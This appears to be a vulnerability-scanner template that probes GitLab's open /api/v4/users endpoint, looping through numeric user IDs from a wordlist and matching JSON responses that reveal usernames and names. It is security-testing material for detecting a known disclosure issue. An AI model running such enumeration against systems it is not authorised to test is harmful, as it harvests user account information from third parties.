id: gitlab-api-user-enum
info:
author: Suman_Kar
name: GitLab - User Information Disclosure Via Open API
severity: medium
reference: https://gitlab.com/gitlab-org/gitlab-foss/-/issues/40158
tags: gitlab,enum,misconfig,disclosure
requests:
- raw:
- |
GET /api/v4/users/{{uid}} HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/plain, */*
Referer: {{BaseURL}}
payloads:
uid: helpers/wordlists/numbers.txt
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
part: body
condition: and
regex:
- "username.*"
- "id.*"
- "name.*"
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200